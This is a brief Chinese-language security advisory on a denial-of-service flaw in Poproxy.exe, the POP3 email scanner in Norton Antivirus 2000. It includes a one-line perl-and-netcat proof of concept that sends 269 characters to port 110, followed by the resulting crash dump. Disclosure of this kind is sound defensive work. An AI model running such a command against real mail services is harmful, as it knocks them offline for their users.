涉及程序： Poproxy.exe 描述： 发送大量字符导致 Poproxy.exe 拒绝服务漏洞 详细： Poproxy.exe 是 Nortan Antivirus 2000 中的 EMAIL 病毒扫描器，它监听于110端口，同时兼有为用户收发邮件的功能。但是发现它存在拒绝服务漏洞，攻击者通过发送约269个以上的字符到受影响机器，将会导致用户不能接收邮件。只有通过重启该服务器，受影响系统才能恢复正常： perl -e \`{print "A"x269}\` |nc 10.0.2.1 110 用户将会得到如下提示： POPROXY caused an invalid page fault in module MFC42.DLL at 014f:5f490453. Registers: EAX=00000000 CS=014f EIP=5f490453 EFLGS=00010246 EBX=00000000 SS=0157 ESP=02b1fc00 EBP=02b1fc14 ECX=007c0f28 DS=0157 ESI=00000000 FS=381f EDX=00000000 ES=0157 EDI=007c0ef8 GS=1247 Bytes at CS:EIP: 89 7e 04 e8 ac 49 f8 ff 53 56 ff 76 04 e8 a7 48 Stack dump: ffffffff 00000000 00000000 00a136b0 00000000 41414141 5f419f09 007c0ef8 00a11f20 007c0f60 00000001 5f419f09 00000009 0000010d 00000001 5f419e84 受影响系统： Nortan Antivirus 2000 Poproxy.exe 解决方案： 建议您暂停使用此软件